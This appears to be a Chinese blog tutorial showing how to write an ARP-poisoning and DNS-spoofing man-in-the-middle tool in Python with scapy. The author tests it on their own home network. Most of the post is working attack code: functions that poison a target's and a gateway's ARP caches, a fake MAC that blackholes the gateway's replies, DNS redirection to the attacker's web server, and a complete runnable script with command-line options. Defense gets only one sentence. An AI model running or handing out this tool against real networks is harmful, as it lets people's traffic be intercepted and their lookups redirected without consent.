python scapy实现ARP欺骗与DNS欺骗

(仅限python2.7.15)

关于ARP

ARP协议(地址解析协议),是一个能够将IP地址转换为MAC地址来让设备间通讯的协议,由于设备间进行网络通讯时,需要将网络层IP数据包包头中的IP地址信息解析出目标硬件(MAC地址)信息来保证通信的顺利进行,所以就有了ARP协议的存在,可在windows下的cmd中输入指令arp -a来查看本机arp缓存。在后面我会用两台电脑做测试,一台是linux系统为模拟黑客的设备,另一台是windows系统为目标设备,另外再加一个路由器,即为网关。
在这里插入图片描述
这里的192.168.0.1就是我的网关(路由器)后面的物理地址就是他的mac地址,现在来写代码改掉他arp缓存表里网关对应的mac地址,改成我另一台电脑的mac地址也就是模拟黑客的设备地址,用ifconfig(linux系统)指令来查看我另一台电脑(模拟黑客)的mac地址,windows下用ipconfig -all来查看即可。
在这里插入图片描述
上图被我划出来的就是黑客的mac地址,记住这两个地址,然后开始写代码,写代码前要先装好scapy具体安装在这里不再罗嗦,建议最好是在linux系统。
先导入模块

import threading                 //用于创建线程
from scapy.all import *			//scapy
from optparse import  OptionParser //用于接受指令行参数
import sys	

然后再编写两个函数,一个用来’欺骗‘目标设备,在我这里就是刚才我那台windows设备,一个用来欺骗网关,在我这里就是ip为192.168.0.1的wifi,因为地址解析是双向的,我们既要让目标设备的请求经过黑客的设备,又要让网关的响应数据经过黑客的设备,所以要用到两个函数:

//欺骗目标设备
def op(eths,mubiao_ip,gateway_ip):
    ip=mubiao_ip		//获取目标设备IP
    wifi=gateway_ip  //获取网关IP
    et=eths					//获取网卡名,例如eth0,wlan0之类的
    dst_Mac=getmacbyip(ip)	//通过IP地址解析出MAC地址
    self_Mac=get_if_hwaddr(et)//解析出本地MAC地址
    //src为源地址,dst为目标地址,hwsrc是psrc所对应的MAC地址所以我将网关的IP与我的linux系统设备的MAC关联告诉目标设备,剩下两个同理,只不过是目标设备的
    Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip)//构造ARP包,将网关的IP地址与黑客设备的MAC地址对应
    while True:
        sendp(Ether_data,inter=2,iface=et)	//将构造好的ARP包发送给目标设备,每2s发一次(inter=2),因为ARP缓存会刷新,需要每隔一段时间就要发送一次,sendp函数发送的是第二层的数据包,所以在这里使用sendp函数而不是send

//欺骗网关
def wifi(eths,mubiao_ip,gateway_ip,hacker_ip):
    ip=gateway_ip		//获取网关IP
    dst=mubiao_ip		//获取目标设备IP
    et = eths			   //获取网卡名称
    dst_Mac = getmacbyip(ip)		//通过IP地址解析出MAC地址
    self_Mac = get_if_hwaddr(et)	//解析出本地MAC地址
    Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip) //构造ARP包,将目标设备的IP地址与黑客设备的MAC地址对应
    while True:
        sendp(Ether_data, inter=2,iface=et)//循环发送ARP响应包(如果`将ARP中的op值改为1即为请求包)

至此,已经将欺骗网关和欺骗目标设备的两个函数写好了,如果只是要获取目标设备的上网数据的话,只欺骗目标设备即可,如果要进行dns欺骗或是要获取双方的通讯数据的话,就要欺骗双方了,然后编写一个主函数(毕竟我最擅长最喜欢的是C语言,不写主函数我浑身难受…)

def main():
    opx=OptionParser('Usage %prog[-i interface][-s adIP][-d GIP]host')#获取指令行参数
    opx.add_option('-i',dest='interface',help='NIC name')			#通过-i参数来传递网卡名称
    opx.add_option('-s', dest='adIP', help='Target device IP')	#-s参数传递目标设备IP
    opx.add_option('-d', dest='GIP', help='Gateway IP')	#-d参数传递网关IP
    opx.add_option('-P', dest='DNS', help='Whether to open DNS spoofing (0 does not open, 1 opens)',default=1)	#-P参数用来表示是否要使用DNS欺骗,1,开启,0,关闭,因为到后面我还会说道DNS欺骗的实现方法,所以在这里知道就好没必要太过关注
    opx.add_option('-m', dest='Hackerip', help='Intermediary\'s IP')			#DNS欺骗时要使用的假IP
    (options,args)=opx.parse_args()
    if options.interface is None or options.adIP is None or options.GIP is None:		//如果这三个参数数值为空就输出HELP
        opx.print_help()
        sys.exit(0)
    if options.DNS=="1" and options.Hackerip==None:			#这一步也是后面DNS欺骗要用
        print "你选择的DNS欺骗选项就必须填写中间人IP!"
        opx.print_help()
        sys.exit(0)
    try:
        if os.geteuid()!=0:
            print "[-]请使用管理员权限打开!"
            sys.exit(1)
        else:
            tail_0 = os.popen("sudo sysctl -w net.ipv4.ip_forward=1")	#打开IP转发
            print "ip转发设置:"+tail_0.read()
            eth=options.interface			#获取网卡名称
            mubiao=options.adIP			#获取目标设备IP
            gateway=options.GIP			#获取网关IP
            P=options.DNS					#获取是否开启DNS欺骗参数值,DNS欺骗用
            zjman=options.Hackerip		#获取DNS假IP
            t1=threading.Thread(target=op,args=(eth,mubiao,gateway))	#创建新线程,开始欺骗目标设备
            t1.start()
            t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,P,zjman))#创建新线程,开始欺骗网关
            t2.start()
    except Exception as e:
        print e
        sys.exit(1)

至此就将ARP欺骗的部分写完了,来验证一下:
在这里插入图片描述
可以看到目标设备ARP缓存表里的网关MAC地址已经被改成黑客设备的MAC地址了,说明ARP欺骗成功了。
再来说说DNS欺骗,DNS欺骗实现很简单,只需要在上面代码的基础上再加几句,实现DNS欺骗的关键就是一个dns_spoof()函数,再来编写一个函数用于DNS欺骗

def DNS_S(hacker):
    a=dns_spoof(joker=hacker)
    send(a)

很简单的代码,dns_spoof函数joker参数就是你要使用的假IP地址,一般就是黑客设备的IP地址,
实际上dns_spoof函数还有地二个参数–match参数,match参数是一个字典数组,他可以将部分网站列入可访问的网站,假设百度的IP为221.12.132.1,那就可以用
a=dns_spoof(joker=hacker,match={"www.baidu.com.":“221.12.132.1”})来将百度列入可访问的网站之列,注意.com后面的一个点不要丢…
另外再对欺骗网关的函数进行一点改动

#Ps参数即为指令行中的-P参数传递的值,1为开启DNS欺骗,0为关闭DNS欺骗,hacker_ip为假的替换IP一般就是黑客的IP
def wifi(eths,mubiao_ip,gateway_ip,Ps,hacker_ip):
    ip=gateway_ip
    dst=mubiao_ip
    et = eths
    dst_Mac = getmacbyip(ip)
    self_Mac = get_if_hwaddr(et)
    Ether_data = None
    if Ps=="1":
        Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac, pdst=ip)
        t3 = threading.Thread(target=DNS_S, args=(hacker_ip,))//如果Ps参数为1,就创建DNS欺骗的新线程
        t3.start()
    if Ps == "0":
        Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip)
    if Ps!="1" and Ps!="0":
        print Ps
        print type(Ps)
        print '-P 参数有误!'
        sys.exit(1)
    while True:
        sendp(Ether_data, inter=2,iface=et)

要提到的一点是在代码第九行,我用了一个MAC地址:12:1a:13:a3:13:ef,这其实是一个根本不存在的MAC地址,我在这里将目标设备的IP与这个假MAC关联并告诉网关,实际上就是为了避免网关的响应数据能传递给目标设备,因为我们的黑客设备是已经打开了IP转发,所以如果不吧目标设备的MAC与一个不存在的MAC关联,那网关还是可以将网页数据发给目标设备的,自然也就达不到DNS欺骗的目的了。
在开始DNS欺骗前,请打开黑客设备上的apache服务,我的是kali linux自带apache,只需要输入service apache2 start就可以打开apache服务了,实验后就会发现DNS欺骗真的十分鸡肋,除了上百度的时候页面会被定向到黑客设备上以外,其他大多数网站基本上都是直接访问不了会出现连接出错或者连接失败之类的错误的,(用ettercap之类的工具实现DNS欺骗也是这样,我最初研究写这个代码也正是因为ettercap的DNS欺骗很鸡肋才写的,结果也还是这样…),我也在康过dns_spoof的源码后自己DIY了一个功能与dns_spoof函数功能相同的函数,但是效果还不如dns_spoof函数,后来被某一大佬提点,可能是ssl的问题,我也专门做了验证,出现连接出错的网站,基本上都是使用https协议的,所以我认为基本上可以断定确实是ssl的问题了。
至于ARP欺骗的防御措施,我个人认为最合适,最简单的就是静态绑定ARP了,再或者就是继续用scapy写一个能够达到即时监控网络数据流量防火墙作用的脚本来进行防御。
最后粘上全代码

#_*_coding:utf-8_*_

import sys
import os
import threading
from scapy.all import *
from optparse import  OptionParser

def DNS_S(hacker):
    a=dns_spoof(joker=hacker)
    send(a)



def op(eths,mubiao_ip,gateway_ip):
    ip=mubiao_ip
    wifi=gateway_ip
    et=eths
    dst_Mac=getmacbyip(ip)
    self_Mac=get_if_hwaddr(et)
    Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip)
    while True:
        sendp(Ether_data,inter=2,iface=et)

def wifi(eths,mubiao_ip,gateway_ip,Ps,hacker_ip):
    ip=gateway_ip
    dst=mubiao_ip
    et = eths
    dst_Mac = getmacbyip(ip)
    self_Mac = get_if_hwaddr(et)
    Ether_data = None
    if Ps=="1":
        Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac, pdst=ip)
        t3 = threading.Thread(target=DNS_S, args=(hacker_ip,))
        t3.start()
    if Ps == "0":
        Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip)
    if Ps!="1" and Ps!="0":
        print Ps
        print type(Ps)
        print '-P 参数有误!'
        sys.exit(1)
    while True:
        sendp(Ether_data, inter=2,iface=et)

def main():
    opx=OptionParser('Usage %prog[-i interface][-s adIP][-d GIP]host')
    opx.add_option('-i',dest='interface',help='NIC name')
    opx.add_option('-s', dest='adIP', help='Target device IP')
    opx.add_option('-d', dest='GIP', help='Gateway IP')
    opx.add_option('-P', dest='DNS', help='Whether to open DNS spoofing (0 does not open, 1 opens)',default=1)
    opx.add_option('-m', dest='Hackerip', help='Intermediary\'s IP')
    (options,args)=opx.parse_args()
    if options.interface is None or options.adIP is None or options.GIP is None:
        opx.print_help()
        sys.exit(0)
    if options.DNS=="1" and options.Hackerip==None:
        print "你选择的DNS欺骗选项就必须填写中间人IP!"
        opx.print_help()
        sys.exit(0)
    try:
        if os.geteuid()!=0:
            print "[-]请使用管理员权限打开!"
            sys.exit(1)
        else:
            tail_0 = os.popen("sudo sysctl -w net.ipv4.ip_forward=1")
            print "ip转发设置:"+tail_0.read()
            eth=options.interface
            mubiao=options.adIP
            gateway=options.GIP
            P=options.DNS
            zjman=options.Hackerip
            t1=threading.Thread(target=op,args=(eth,mubiao,gateway))
            t1.start()
            t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,P,zjman))
            t2.start()
    except Exception as e:
        print e
        sys.exit(1)

if __name__ == '__main__':
    main()

个人愚见,如有错误还请大佬指出。。。

对于无法使用dns_spoof函数的问题,看另一篇:

https://blog.csdn.net/weixin_43815930/article/details/101831313?utm_source=app

发布了13 篇原创文章 · 获赞 28 · 访问量 8506

猜你喜欢

转载自blog.csdn.net/weixin_43815930/article/details/88857345